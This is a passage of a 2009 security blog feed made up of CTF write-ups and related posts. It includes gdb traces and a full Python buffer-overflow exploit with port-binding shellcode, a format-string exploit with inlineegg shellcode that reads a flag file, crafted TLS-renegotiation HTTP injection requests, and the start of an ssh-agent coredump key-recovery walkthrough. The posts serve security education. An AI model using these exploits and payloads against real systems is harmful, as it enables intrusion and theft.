  if ( v7 < 0 || v7 > 1 && v7 != 3 )
  {
    sub_804CBC0((int)&s, (int)&src);
LABEL_9:
    v5 = a2;
    v4 = (int)&v9;
    v3 = 2;
    goto LABEL_10;
  }
  if ( sub_804CBC0((int)&s, (int)&src) < 0 )
    goto LABEL_9;
  v5 = a2;
  v4 = (int)&v9;
  v3 = 0;
LABEL_10:
  sub_804CB30(&v8, v7, v10, v3, v4, v5);
  return memcpy((void *)(a2 + 44), &src, 0x50u);
}

sscanf seems to be a potential vulnerable. Lets try to break before and after this function to see different on stack :

Before:

(gdb) x/200x $esp
0xbfc352b0:	0xbfc35508	0x0805a300	0xbfc354d8	0xbfc354b4
0xbfc352c0:	0xbfc352ea	0xbfc353e4	0xbfc354d4	0xb7f27e78
0xbfc352d0:	0x00000001	0xb7f70fc4	0xb7f3f1b8	0x7972d654
0xbfc352e0:	0xbfc353b4	0xb7f5d999	0x000053a4	0x00000000
0xbfc352f0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35300:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35310:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35320:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35330:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35340:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35350:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35360:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35370:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35380:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35390:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc353a0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc353b0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc353c0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc353d0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc353e0:	0x00000000	0xb7f3bff4	0xb7d75b90	0xb7d754d0
0xbfc353f0:	0xbfc35458	0xb7f681e0	0xbfc35474	0xbfc35468
0xbfc35400:	0xb7d754d0	0xb7d75b90	0xbfc354b0	0xb7f71658
0xbfc35410:	0x080488cc	0xb7d754d0	0x00000000	0x00000000
0xbfc35420:	0xb7d75bd8	0xbfc3543c	0xb7d75bd8	0x00000001
0xbfc35430:	0xb7ded684	0xb7f37380	0xb7d75b90	0x00000006
0xbfc35440:	0xbfc354b8	0x00000001	0x00000081	0xb7f337d6
0xbfc35450:	0x00000000	0xb7d754b4	0xb7f3bff4	0xb7f2d4b6
0xbfc35460:	0x003d0f00	0xb7f2d080	0xb7f283d8	0xb7f3f000
0xbfc35470:	0xffffffff	0xffffffff	0xb7f70fc4	0xb7f71658
0xbfc35480:	0x08048620	0xbfc354c0	0xb7f62616	0xb7f71810
0xbfc35490:	0xb7f3f5b0	0x00000001	0x00000005	0x00000000
0xbfc354a0:	0x080488cc	0x00000000	0x0805c0dc	0x00000005
0xbfc354b0:	0xb7f283d8	0xbfc35de8	0xbfc35cd8	0xbfc35fe0
0xbfc354c0:	0xbfc361b8	0xb7f681e0	0xbfc361b8	0xbfc35de8
0xbfc354d0:	0xbfc361b8	0xb7f33e90	0xbfc35cd8	0xbfc35de8
0xbfc354e0:	0xbfc35cd8	0xbfc35fe0	0xbfc361b8	0x0804d63d

And after the overflow, lets see the value of char v8; // [sp+1E8h] [bp-34h]@1 is :

(gdb) x/20x $ebp-0x34
0xbfc354b4:	0x306141ff	0x41316141	0x61413261	0x34614133
0xbfc354c4:	0x41356141	0x61413661	0x38614137	0x41396141
0xbfc354d4:	0x62413062	0x32624131	0x41336241	0x62413462
0xbfc354e4:	0x36624135	0x41376241	0x62413862	0x30634139
0xbfc354f4:	0x41316341	0x63413263	0x34634133	0x41356341

/xff+”Aa0Aa1Aa…. -> is our string. So we can see sscanf() causes buffer overflow. We will stepi after sscanf and see:

(gdb) x/4i $eip
0x804cce9 <difftime@plt+15297>:	mov    $0xffffffff,%eax
0x804ccee <difftime@plt+15302>:	lea    -0xc(%ebp),%esp
0x804ccf1 <difftime@plt+15305>:	pop    %ebx
0x804ccf2 <difftime@plt+15306>:	pop    %esi
(gdb) stepi
0x0804ccee in ?? ()
(gdb) stepi
0x0804ccf1 in ?? ()
(gdb) x/4x $esp
0xbfdb7fbc:	0x41336241	0x62413462	0x36624135	0x41376241
(gdb) x/i $eip
0x804ccf1 <difftime@plt+15305>:	pop    %ebx
(gdb) stepi
0x0804ccf2 in ?? ()
(gdb) x/4i $eip
0x804ccf2 <difftime@plt+15306>:	pop    %esi
0x804ccf3 <difftime@plt+15307>:	pop    %edi
0x804ccf4 <difftime@plt+15308>:	pop    %ebp
0x804ccf5 <difftime@plt+15309>:	ret
(gdb) stepi
0x0804ccf3 in ?? ()
(gdb) stepi
0x0804ccf4 in ?? ()
(gdb) stepi
<p>Breakpoint 7, 0x0804ccf5 in ?? ()
(gdb) x/4x $esp
0xbfdb7fcc:	0x62413862	0x30634139	0x41316341	0x63413263
(gdb) x/i $eip
0x804ccf5 <difftime@plt+15309>:	ret
(gdb)

Now it will return on 0×62413862. It’s a basic buffer overflow!

And here is my exploit code (shellcode is a port-binding shellcode on port 4444):

#!/usr/bin/python
from socket import *
import struct

host = "localhost"
port = 7272
shellcode ="AAAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab\xe0\xe6\xff\xbf"+"\x90"*900+"\xb8\xb6\x0a\x95\x0e\xd9\xf7\xd9\x74\x24\xf4\x31\xc9\x5d\xb1\x14\x83\xed\xfc\x31\x45\x10\x03\x45\x10\x54\xff\xa4\xd5\x6f\xe3\x94\xaa\xdc\x8e\x18\xa4\x03\xfe\x7b\x7b\x43\xa4\xdd\xd1\x2b\xa4\xe0\xc4\xf7\x30\xf5\xb7\x57\x4c\x14\x5d\x31\x16\x1a\x22\x34\xe7\xa0\x90\x42\x58\xce\x1b\xca\xdb\xbf\xc2\x07\x5b\x2c\x53\xfd\x63\x0b\xa9\x81\xd5\xd2\xc9\xe9\xca\x0b\x59\x81\x7c\x7b\xff\x38\x13\x0a\x1c\xea\xb8\x85\x02\xba\x34\x5b\x44"
payload = "\x30\xff"+shellcode
sock = socket(AF_INET,SOCK_DGRAM)
sock.sendto(payload,(host,port))
sock.close()

And result :

exploit

References:

]]>
http://www.vnsecurity.net/2009/12/hitb-2009-daemon6-write-up/feed/ 0
Gentoo: How to install Zine+lighttpd in 5 minutes http://www.vnsecurity.net/2009/12/gentoo-how-to-install-zine-lighttpd-in-5-minutes/ http://www.vnsecurity.net/2009/12/gentoo-how-to-install-zine-lighttpd-in-5-minutes/#comments Thu, 03 Dec 2009 08:34:44 +0000 vnsec https://www.vnsecurity.net/?p=50

This is how you can get Zine + lighty running under Gentoo in 5 minutes

  1. Install the required python packages for Zine
  2. (root) # cat >> /etc/portage/package.keywords
     dev-python/werkzeug
     dev-python/Babel
     dev-python/html5lib
     dev-python/flup
     dev-python/sqlalchemy
    
    (root) # emerge -av sqlalchemy jinja2 werkzeug simplejson html5lib pytz Babel lxml flup
  3. Download and Install Zine
  4. (download) $ wget http://zine.pocoo.org/releases/Zine-0.1.2.tar.gz
    (download) $ tar zxvf Zine-0.1.2.tar.gz
    (download) $ cd Zine-0.1.2
    
    # Use --prefix to install zine to a different location than default (/usr)
    (Zine-0.1.2) $ ./configure --prefix=/srv/usr && make install
    
    # Create a working directory for your Zine fastcgi and configuration files
    (Zine-0.1.2) $ mkdir -p /var/www/zine
    (Zine-0.1.2) $ cp servers/zine.fcgi /var/www/zine
    
    # Edit zine.fcgi to update INSTANCE_FOLDER and ZINE_LIB
    (Zine-0.1.2) $ nano /var/www/zine/servers/zine.fcgi
    

    INSTANCE_FOLDER = ‘/var/www/zine’
    ZINE_LIB = ‘/srv/usr/lib/zine’

    (Zine-0.1.2) $ chown lighttpd /var/www/zine
    (Zine-0.1.2) $ chmod 755 /var/www/zine/zine.fcgi
    
  5. Update lighttpd configuration
  6. # Edit /etc/lighttpd/mod_fastcgi.conf for global fcgi handler setup or
    # add fastcgi.server to your VHOST config
    (root) # nano /etc/lighttpd/mod_fastcgi.conf
    

    fastcgi.server = (”" =>
    ((
    “bin-path” => “/var/www/zine/zine.fcgi”,
    “socket” => “/tmp/fcgi-zine.socket”,
    “check-local” => “disable”
    )))

  7. Restart your lighttpd!
]]>
http://www.vnsecurity.net/2009/12/gentoo-how-to-install-zine-lighttpd-in-5-minutes/feed/ 0
Powered by the buggy Wordpress! http://www.vnsecurity.net/2009/11/powered-by-the-buggy-wordpress/ http://www.vnsecurity.net/2009/11/powered-by-the-buggy-wordpress/#comments Fri, 27 Nov 2009 21:06:24 +0000 vnsec https://www.vnsecurity.net/?p=3

As you may notice that vnsecurity.net server has been taken offline since the beginning of last week for the server upgrade. Our new server has a much better HW specs compare to the old one.

We’ve also replaced the great Plone/ZODB/Python with the buggy Wordpress/Mysql/PHP for our website. I myself really like the Zope Workflow and Zope Object Database with the great fine-grained access control but many members doesn’t like Plone and it’s a bit slow especially on a few years old HW with only 1GB RAM (there were 03 Plone’s instances running for vnsec, vnsecon and vithon.org websites which used all of the 1GB memory).

I don’t trust PHP & PHP Apps. Wordpress/PHP, with a massive number of security bugs in the past, makes me feel unsafe :). Secunia has a good list of WordPress 2.x vulnerabilities and 07 bugs are still unpatched.

But on the other side, WP has some really nice plugins and themes which save my time. It’s like replacing the great & responsible old lady babysitter to a new sexy but “dangerous” young college girl. I hope that some additional protection layers and access restriction to the backend would help to save my a$$ from WP’s bugs.

Cheers!

Babysitter___comic_by_TwinTwosGirl

]]>
http://www.vnsecurity.net/2009/11/powered-by-the-buggy-wordpress/feed/ 1
Lỗ hổng nghiêm trọng của TLS/SSL http://www.vnsecurity.net/2009/11/lo-hong-nghiem-trong-cua-tlsssl/ http://www.vnsecurity.net/2009/11/lo-hong-nghiem-trong-cua-tlsssl/#comments Fri, 06 Nov 2009 02:59:36 +0000 thaidn https://www.vnsecurity.net/2009/11/l%e1%bb%97-h%e1%bb%95ng-nghiem-tr%e1%bb%8dng-c%e1%bb%a7a-tlsssl/

Một phát hiện hết sức thú vị:

The SSL 3.0+ and TLS 1.0+ protocols are vulnerable to a set of related attacks which allow a man-in-the-middle (MITM) operating at or below the TCP layer to inject a chosen plaintext prefix into the encrypted data stream, often without detection by either end of the connection. This is possible because an “authentication gap” exists during the renegotiation process at which the MitM may splice together disparate TLS connections in a completely standards-compliant way. This represents a serious security defect for many or all protocols which run on top of TLS, including HTTPS.

Thú vị ở chỗ bao nhiêu người, bao nhiêu chuyên gia, bao nhiêu năm qua dòm vô TLS/SSL mà không thấy được lỗ hổng có vẻ như rất hiển nhiên mà các tác giả ở trên phát hiện.

Có lẽ nguyên nhân nhiều người dòm nhưng không thấy là vì họ chỉ dòm TLS/SSL khi nó đứng một mình, mà không nhìn vào bức tranh lớn OSI, trong đó TLS/SSL chỉ là một layer. Chuyện gì sẽ xảy ra nếu TLS/SSL không hiểu rõ cơ chế hoạt động của các protocol bên trên nó, như HTTP, SMTP hay POP3? Nói cách khác, chuyện gì sẽ xảy ra nếu các protocol ở mức Application không hiểu rõ cơ chế vận hành của TLS/SSL để sử dụng cho đúng cách? Đó là lúc lỗ hổng xuất hiện.

Tổng quan thì lỗ hổng này nằm ở sự thiếu “ăn rơ” giữa TLS/SSL và các protocol trên nó như HTTP hay SMTP. Khai thác lỗ hổng này thì kẻ tấn công có thể chèn thêm một đoạn plaintext bất kỳ vào TLS/SSL encrypted stream giữa client và server mà cả client và server đều không thể phát hiện được.

Đây là một lỗ hổng cực kỳ nghiêm trọng, bởi vì nó phá vỡ hoàn toàn cam kết an toàn của bộ giao thức TLS/SSL. Nói một cách *hoành tráng* thì về mặt lý thuyết, nền tảng của thương mại điện tử đang chao đảo. Tôi dùng chữ lý thuyết vì để cho hướng tấn công này nguy hiểm hơn trong thực tế, thì còn có nhiều trở ngại phải vượt qua (và sẽ bị vượt qua).

Để minh họa cho câu chuyện, và để dễ giải thích, tôi đặt ra một ví dụ như sau:

0. Giả định:

* Ngân hàng A có cung cấp dịch vụ Internet Banking ở địa chỉ https://www.ebank.com. Máy chủ của của họ chạy phần mềm có lỗ hổng mà chúng ta đang bàn ở đây. Chúng ta gọi máy chủ này là server.

* Để tăng cường an ninh, ngân hàng A yêu cầu khi khách hàng (giờ cứ gọi là client) sử dụng các tính năng có liên quan đến giao dịch tài chính nằm trong khu vực https://www.ebank.com/account/, thì (browser của) họ phải có cài đặt client certificate cho ngân hàng A cung cấp. Lưu ý là nhiều ngân hàng ở VN thực hiện cái này lắm nha.

* Ngoài ra ngân hàng A còn hỗ trợ khách hàng truy cập bằng (Safari trên) iPhone, lúc đó khách hàng sẽ được chuyển đến https://www.ebank.com/iphone/. Do iPhone có processor yếu, nên ngân hàng A cấu hình máy chủ web của họ để sử dụng một bộ ciphersuite yếu hơn bộ ciphersuite mà họ sử dụng cho các khách hàng thông thường. Cái này trong thực tế cũng có nhiều công ty triển khai.

Rồi bây giờ tôi sẽ sử dụng cái kỹ thuật vừa mới phát hiện để tấn công các khách hàng của ngân hàng A theo 3 hướng tấn công mà các tác giả nêu ra. Àh lưu ý là đây là loại tấn công MITM, nghĩa là attacker phải có quyền theo dõi, điều chỉnh dữ liệu truyền qua lại giữa client và server nha. Attacker có thể làm việc này thông qua các tấn công vào các giao thức ARP hay DNS.

1. Hướng tấn công số 1

Đối với hướng tấn công số 1, tôi sẽ lợi dụng việc khi truy cập vào https://www.ebank.com/account/ thì server sẽ yêu cầu client phải trình certificate.

Sơ đồ bên dưới là tôi lấy từ paper của các tác giả phát hiện ra lỗ hổng này. Tôi thấy cái sơ đồ này giải thích rất rõ lỗ hổng này và cách thức tấn công theo hướng thứ 1. Thật ra thì hướng thứ 2 và hướng thứ 3 cũng khá giống hướng thứ 1, nên tôi nghĩ nắm rõ hướng thứ 1 thì sẽ thấy các hướng kia cũng đơn giản.

Có 4 bước khi triển khai tấn công này:

* Bước 1: client truy cập vào https://www.ebank.com. Lúc này client sẽ kết nối đến attacker, và gửi CLIENT_HELLO để bắt đầu giao thức TLS/SSL. Attacker sẽ tạm dừng cái kết nối này và lưu msg CLIENT_HELLO lại để dùng trong bước 3.

* Bước 2: attacker mở kết nối đến server thật. Hai bên sẽ bắt tay theo giao thức TLS/SSL để tạo thành một session. Sau khi hoàn tất bắt tay, attacker gửi một HTTP request, đại loại như:

POST /account/transfer?amount=1000&amp;receiver=attacker HTTP/1.1\r\n

* Bước 3: server thấy có một request đến khu vực /account/ nên nó tạm thời dừng xử lý request này lại và như đã nói ở trên, nó yêu cầu attacker phải đưa client certificate cho nó xem. Cái hay ở đây, mặc dầu attacker không có (private key của) certificate của client, nhưng hắn vẫn có thể *proxy* cái certificate đó từ client lên server, mà không bị bên nào phát hiện cả.

Server bắt đầu quá trình xác thực bằng việc gửi một msg HELLO_REQUEST ngược lại cho attacker. Attacker nhận được msg này thì hắn gửi CLIENT_HELLO mà hắn đã lưu ở bước 1 ngược lại cho server. Rồi cứ thế, attacker đứng giữa, chuyển msg qua lại giữa client và server cho đến khi quá trình xác thực bằng client certificate kết thúc thành công.

Lưu ý là có 2 loại msg mà attacker sẽ gửi. Loại thứ nhất (trên sơ đồ là những msg kết thúc hoặc bắt đầu từ cột m) là những msg mà hắn phải giải mã/mã hóa trước khi gửi đi. Ví dụ như hắn nhận “Certificate” từ phía client thì hắn sẽ mã hóa cái msg này lại, rồi mới gửi cho server. Loại thứ hai (trên sơ đồ là những msg màu hồng và đỏ) là những msg mà hắn không đọc được (vì không có key), hắn chỉ làm mỗi việc là nhận từ client thì gửi qua server và ngược lại.

* Bước 4: quá trình xác thực client certificate đã kết thúc thành công, server tiếp tục xử lý cái request của attacker ở trên, và trả kết quả lại cho attacker (lưu ý là attacker sẽ không đọc được kết quả này).

Điểm yếu là ở đây. Như chúng ta thấy, khi attacker gửi request ở bước 3, lúc đó hắn chưa được xác thực. Nói cách khác, lúc này request của hắn là unauthenticated request. Việc xác thực diễn ra sau đó, và sau khi xác thực rồi thì server lại quay lại xử lý tiếp cái unauthenticated request của attacker.

Lưu ý, ở bước này, để tránh bị tình nghi, attacker có thể tiếp tục trả kết quả về cho client để đóng kết nối lại một cách êm đẹp.

2. Hướng tấn công số 2

Trước khi bắt đầu giải thích hướng số 2, tôi muốn nhấn mạnh ý này: tất cả 3 hướng tấn công này đều hướng đến chôm credential của client để gửi các authenticated request đến server. Credential ở đây có thể là certificate (như ở hướng số 1) hay cookie/session (như ở hướng số 2 và số 3). Nếu chỉ áp dụng cho HTTPS, nhìn ở một góc độ nào đó, các hướng tấn công này rất giống với tấn công CSRF. Nên nếu ứng dụng của bạn đã có các phương thức phòng chống CSRF rồi hay nếu ứng dụng của bạn không chấp nhận thay đổi state bằng GET, thì tạm thời cũng không phải có gì lo lắng.

Đối với hướng số 1, tôi lợi dụng client certificate để gửi một authenticated request. Ở trường hợp các server không xác thực bằng certificate, tôi sẽ sử dụng hướng tấn cống số 2.

Hướng tấn công này cũng có 4 bước:

* Bước số 1: tương tự như hướng tấn công số 1.

* Bước 2: attacker mở kết nối đến server thật. Hai bên sẽ bắt tay theo giao thức TLS/SSL để tạo thành một session.

Sau khi hoàn tất bắt tay, attacker gửi một HTTP request, đại loại như:

GET /iphone/login HTTP/1.1\r\n
Host: ebank.com\r\n
Connection: keep-alive\r\n
\r\n
GET /account/transfer?amount=1000&amp;receiver=attacker HTTP/1.1\r\n
Host: ebank.com\r\n
Connection: close\r\n
X-ignore-this:

* Bước số 3: server thấy có request đến /iphone/ nên nó tạm thời dừng xử lý request này lại và, như đã nói ở phần giả định, server sẽ bắt đầu quá trình renegotiate lại để chọn một bộ ciphersuite yếu hơn. Vấn đề ở đây là server sẽ buffer lại toàn bộ nhóm unauthenticated request này, khi mà renegotiate xong thì lại quay lại xử lý hết tất cả.

Trong quá trình renogotiation, vai trò của attacker cũng tương tự như ở bước số 3 của hướng tấn công số 1, nghĩa là hắn cũng chỉ *proxy* msg qua lại giữa client và server, cho đến khi quá trình renegotiate kết thúc thành công.

* Bước số 4: lúc này, client thấy đã handshake xong rồi, nên bản thân nó sẽ gửi tiếp cái HTTP request của nó ở dạng:

GET /index HTTP/1.1\r\n
Cookie: AuthMe=Now\r\n
\r\n

Chuyện bất ngờ diễn ra ở đây. Server nó sẽ gom nhóm unauthenticated request ở bước 2 (do attacker gửi) và cái authenticated request này (do client gửi) rồi xử lý chung một lần. Nguyên nhân server xử lý như thế là do cái cờ keep-alive ở request đầu tiên. Thành ra lúc này nhóm request trở thành như sau (màu cam là attacker gửi, màu xanh là client gửi):

GET /iphone/login HTTP/1.1\r\n
Host: ebank.com\r\n
Connection: keep-alive\r\n
\r\n
GET /account/transfer?amount=1000&amp;receiver=attacker HTTP/1.1\r\n
Host: ebank.com\r\n
Connection: close\r\n
X-ignore-this:GET /index HTTP/1.1\r\n
Cookie: AuthMe=Now\r\n
\r\n

Ở đây cái header X-ignore-this đã vô hiệu hóa cái request GET /index HTTP/1.1 của client, đồng thời chôm luôn cookie của client để gắn vào cái unauthenticated request GET /account/transfer?amount=1000&receiver=attacker. Rất hay!

3. Hướng tấn công số 3

Đây là hướng tấn công mạnh nhất, không cần server phải có cấu hình đặc biệt gì để thực hiện. Sự khác biệt cơ bản giữa tấn công này với hai hướng tấn công vừa rồi là trong trường hợp này, client bắt đầu quy trình renegotiation.

Ý tưởng thực hiện tấn công rất giống với hướng 2, chỉ khác nhau ở bước số 2, attacker sẽ không gửi GET /iphone/login nữa mà gửi trực tiếp luôn request của hắn, kèm theo một cái “X-ignore-this” header.

Ngay sau khi gửi cái request đó, attacker sẽ forward cái CLIENT_HELLO thu được ở bước 1 sang cho phía server để bắt đầu quy trình renegotiation. Khi đã renegotiate xong, client sẽ gửi request ban đầu của mình đến server, lúc này toàn bộ request sẽ trông như sau (phần màu cam của attacker gửi, phần màu xanh của client gửi):

GET /account/transfer?amount=1000&amp;receiver=attacker HTTP/1.1\r\n
Host: ebank.com\r\n
Connection: close\r\n
X-ignore-this: GET /index HTTP/1.1\r\n
Cookie: AuthMe=Now\r\n
\r\n

Tương tự ở trên, X-ignore-this đã vô hiệu hóa request của client và chôm cookie để biến request của attacker thành authenticated. Không cần keep-alive, không cần server phải có cấu hình đặc biệt gì cả!

]]>
http://www.vnsecurity.net/2009/11/lo-hong-nghiem-trong-cua-tlsssl/feed/ 1
Writing neat shellcode using inlineegg – Sapheads HackJam 2009 Challenge 8 http://www.vnsecurity.net/2009/10/writing-neat-shellcode-using-inlineegg-sapheads-hackjam-2009-challenge-8/ http://www.vnsecurity.net/2009/10/writing-neat-shellcode-using-inlineegg-sapheads-hackjam-2009-challenge-8/#comments Fri, 02 Oct 2009 12:48:30 +0000 thaidn https://www.vnsecurity.net/2009/10/writing-neat-shellcode-using-inlineegg-sapheads-hackjam-2009-challenge-8/

1. Analysis

First thing first:

$ file t1g3rd

t1g3rd:
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux
2.6.15, dynamically linked (uses shared libs), not stripped

t1g3rd is a regular network service that when executed would listen on port 7384. When a client comes in, the binary forks a new child process, and calls a function named handleClient. At the begining of handleClient, t1g3rd calls setrlimit(2) to disallow this child process to open new file or fork a new process. This makes the binary a perfect example to illustrate how to write neat shellcode using inlineegg :-D.

handleClient then goes on to read two inputs, which are 19 bytes long and 512 bytes long respectively, from the client. The first input is sent back to the client using printf(3), and the second is just discarded.

2. Vulnerability

As one can guess, the printf(3) call at 0×08048c52 that the binary uses to send the first input back to the client is vulnerable to format string attack. The format string is limited to 19 bytes long, so one needs to choose where to write with which value wisely.

3. Exploit

Usually, with this kind of format string bug, one could overwrite the RIP of handleClient or the RIP of the vulnerable printf(3) call to loop back to the begining of handleClient, so that the binary would read(2) another 19 bytes, and the next printf(3) call would allow her to overwrite some more bytes to somewhere else such as a GOT entry. One could also redirect to right above the first read(2) call, so that it would read(2) more than 19 bytes, which in turn allows him to overwrite as many bytes to any where as he wants. But we don’t need to use these techniques here.

Right after the vulnerable printf(3) call is another read(2) call at 0×08048c7f whose pseudo-code looks like:

read(0, input_buffer2, length)

where length is an integer stored at $EBP – 0×228 on the stack. Before this call, at 0×08048b43, length is assigned a default value which is 512. What if we overwrite length so that it becomes 1000? Since input_buffer2 is just 512 bytes long, and we read(2) in 1000 bytes, we would get a classic stack-based buffer overflow.

Here are two exploit strings that we send to the binary:

# overwrite length so that read(0, input_buffer2, length) at 0x08048c7f reads more than 512 bytes
length_slot = 0xbf9c1978 #original length: 0x0000200
new_length = 1000
msg1 = struct.pack('I', length_slot) + '%' + str(new_length) + 'c%134$hn' # this is 18 bytes

# msg2 = SHELLCODE + RET
shellcode = SHELLCODE # shellcode's length should a multiple of 4
msg2 = shellcode + '\x84\x19\x9c\xbf' * ((0x224 - len(msg2))/4) # 0xbf9c1984 = input_buffer2

4. Shellcode

Now I can make t1g3rd run my shellcode, but as I said in Section 1, the binary disallows opening new file or forking new process. That means the shellcode can’t do anything useful, i.e. reading the key file or returning a shell. Or can it? What if our shellcode calls setrlmit(2) to set the resource limitations back to normal values?

Then comes the question of the day: how to write shellcode that calls setrlmit(2)? Or a more generic question: how to write shellcode that calls syscalls that accept structures as parameters? Actually, there are 3 ways to write that kind of shellcode: a) write it using Assembly; b) or write a C program, and use ShellForge to get out the respective shellcode; c) or use inlineegg to write it in Python.

As the title of this entry suggests, I’ll go with inlineegg. To be honest I hadn’t written this kind of shellcode before, so it took me an hour or so to figure out how to do it with inlineegg. This is just basic knowledge, but I hope somebody would find my work useful.

Here is the shellcode:

1.    egg = InlineEgg(Linuxx86Syscall)
2.    egg.addCode(egg.micro.pushTuple((100, 200)))
3.    egg.setrlimit(7, egg.micro.varAtTop().addr())    # RLIMIT_NOFILE
4.    buff = egg.alloc(20)
5.    fd = egg.save(-1)
6.    fd = egg.open(flag_file)
7.    nr = egg.read(fd, buff.addr(), 20)
8.    egg.write(0, buff.addr(), nr)
9.    #egg.execve('/bin/cat',('cat', flag_file)) # easier way
10.   egg.exit(0)

The most important lines are 2 and 3 which I would explain shortly. If you want to understand the rest, I suggest you reading inlineegg’s documetation and examples.

The prototype of setrlimit(2) is:

int setrlimit(int resource, const struct rlimit *rlim); 

where the second parameter is a pointer to a rlimit structure which is:

struct rlimit {
 rlim_t rlim_cur;  /* Soft limit */
 rlim_t rlim_max;  /* Hard limit (ceiling for rlim_cur) */
};

So in order to call setrlimit(2), we need to pass to it an address that points to a rlimit structure containing more relaxing values of rlim_cur and rlimit_max.

At line 2, I push a tuple (100, 200) to the stack. egg.micro.pushTuple((100, 200)) would return the Assembly code that pushes 100 and 200 to the stack, and egg.addCode of course would add that code to the egg.

At line 3, egg.micro.varAtTop() would return the variable (see class Variable in inlineegg.py) at the top of the stack. Since we just push 100 and 200 to the stack, this variable would contain these two integers. I call addr() on this variable to get its address, and pass the result as the second argument of the setrlimit(2) syscall.

And that’s it! Is it neat? He he he. In the next writeup, I’ll illustrate how to use inlineegg to write even sneakier shellcode. Stay tuned and happy hacking!

]]>
http://www.vnsecurity.net/2009/10/writing-neat-shellcode-using-inlineegg-sapheads-hackjam-2009-challenge-8/feed/ 0
How to recover RSA private key in a coredump of ssh-agent – Sapheads HackJam 2009 Challenge 6 http://www.vnsecurity.net/2009/10/how-to-recover-rsa-private-key-in-a-coredump-of-ssh-agent-sapheads-hackjam-2009-challenge-6/ http://www.vnsecurity.net/2009/10/how-to-recover-rsa-private-key-in-a-coredump-of-ssh-agent-sapheads-hackjam-2009-challenge-6/#comments Thu, 01 Oct 2009 09:49:24 +0000 thaidn https://www.vnsecurity.net/2009/10/how-to-recover-rsa-private-key-in-a-coredump-of-ssh-agent-sapheads-hackjam-2009-challenge-6/

Last week or so I joined CLGT to take part in HackJam 2009 by Sapheads. AFAIK this is the first CTF that Sapheads organizes, but they had done a very good job. To most people’s surprise, the contest attacted quite a lot of teams from around the world, and it had quickly become an international competition.

Did I tell you that we’re the winner? Ha ha ha this is our very first win since the name CLGT was born.

BTW, HackJam 2009 was a success because Sapheads had kept their promise which is to “provide challenges that greatly resemble real world scenarios and environments, at the same time, adding fun and educational ingredients to them”. We really had fun ^_^, not disturbing pains *_*, in solving the challenges. Thank you Sapheads! We’re looking forward to HackJam 2010.

I promised to some people in #sapheads that I would release some writeups about the challenges after the contest ended, and here they are. Sorry for the delay, I have been busy working with vendors on this which you may want to read too.

I’ll post writeups of challenge 4, 6, 7, 8, 9 on this blog and CLGT’s homepage in the next two weeks. These are the challenges that I solved or helped to solve. I leave out challenge 1 and challenge 2 because they are trivial. I was out or sleeping when the team solved challenge 3 and 5, so I guess I don’t write nothing about them either. You can download all the binaries in the contest here.

I hope you enjoy reading them as much as I enjoy writing them.

——-

As the title of this entry suggests, this is the writeup of challenge 6 which is IMHO the coolest CTF challenge ever :-D. I really like its concept and implementation. Thank you whats ^_^!

For those who didn’t take part in HackJam, these two men are the criminals who had stolen and leaked a new album of SNSD (you should check these girls out ^_^). All teams are in charged of tracking them down.

As you can see in the comic, the criminals got a coredump when they were trying to transfer a MP3 to his server at 67.202.60.164. And that coredump is the only file given in challenge 6.

So first thing first:

$ file core.6261

core.6261: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from 'ssh-agent'

As you can see, this is a coredump of ssh-agent. This is from the manpage of ssh-agent:

ssh-agent is a program to hold private keys used for public key
authentication (RSA, DSA). The idea is that ssh-agent is started in the
beginning of an X-session or a login session, and all other windows or
programs are started as clients to the ssh-agent program.

The manpage doesn’t tell where ssh-agent stores private keys, but one can guess that it would store them in its memory. When ssh-agent crashes, all of its memory content would be written to the coredump. So I guess the idea of challenge 6 is to recover the private key of the criminals stored in the coredump, and use that private key to SSH into 67.202.60.164 which may give me the key for challenge 7.

This is why Sapheads challenges are better than other CTFs. They don’t try to distract us by giving false trails. They give good trails which can be deduced using logical thinking. This challenge also greatly resembles real world scenario which in turn makes it much more interesting than other non-sense challenges somehow created only to show that their authors are smarter than others.

Okie enough bullshit, let’s get back to challenge 6. As whats from Sapheads suggests, I take a look at static variables of ssh-agent.c which are defined like below:

typedef struct identity {
 TAILQ_ENTRY(identity) next;
 Key *key;
 char *comment;
 u_int death;
 u_int confirm;
} Identity;

typedef struct {
 int nentries;
 TAILQ_HEAD(idqueue, identity) idlist;
} Idtab;

/* private key table, one per protocol version */
Idtab idtable[3];
int max_fd = 0;
/* pid of shell == parent of agent */
pid_t parent_pid = -1;
u_int parent_alive_interval = 0;
/* pathname and directory for AUTH_SOCKET */
char socket_name[MAXPATHLEN];
char socket_dir[MAXPATHLEN];

So right above socket_name are 3 integers, and then comes idtable which contains pointers to Identity structures, which in turn contains pointers to Key structures. This is how a Key structure looks like (it’s in openssh/key.h):

struct Key {
 int     type;
 int     flags;
 RSA    *rsa;
 DSA    *dsa;
};

Ah RSA structure! This is how it looks like (it’s in openssl/rsa.h):

struct rsa_st
 {
 /* The first parameter is used to pickup errors where
 * this is passed instead of aEVP_PKEY, it is set to 0 */
 int pad;
 long version;
 const RSA_METHOD *meth;
 /* functional reference if 'meth' is ENGINE-provided */
 ENGINE *engine;
 BIGNUM *n;
 BIGNUM *e;
 BIGNUM *d;
 BIGNUM *p;
 BIGNUM *q;
 BIGNUM *dmp1;
 BIGNUM *dmq1;
 BIGNUM *iqmp;
 /* be careful using this if the RSA structure is shared */
 CRYPTO_EX_DATA ex_data;
 int references;
 int flags;
 /* Used to cache montgomery values */
 BN_MONT_CTX *_method_mod_n;
 BN_MONT_CTX *_method_mod_p;
 BN_MONT_CTX *_method_mod_q;
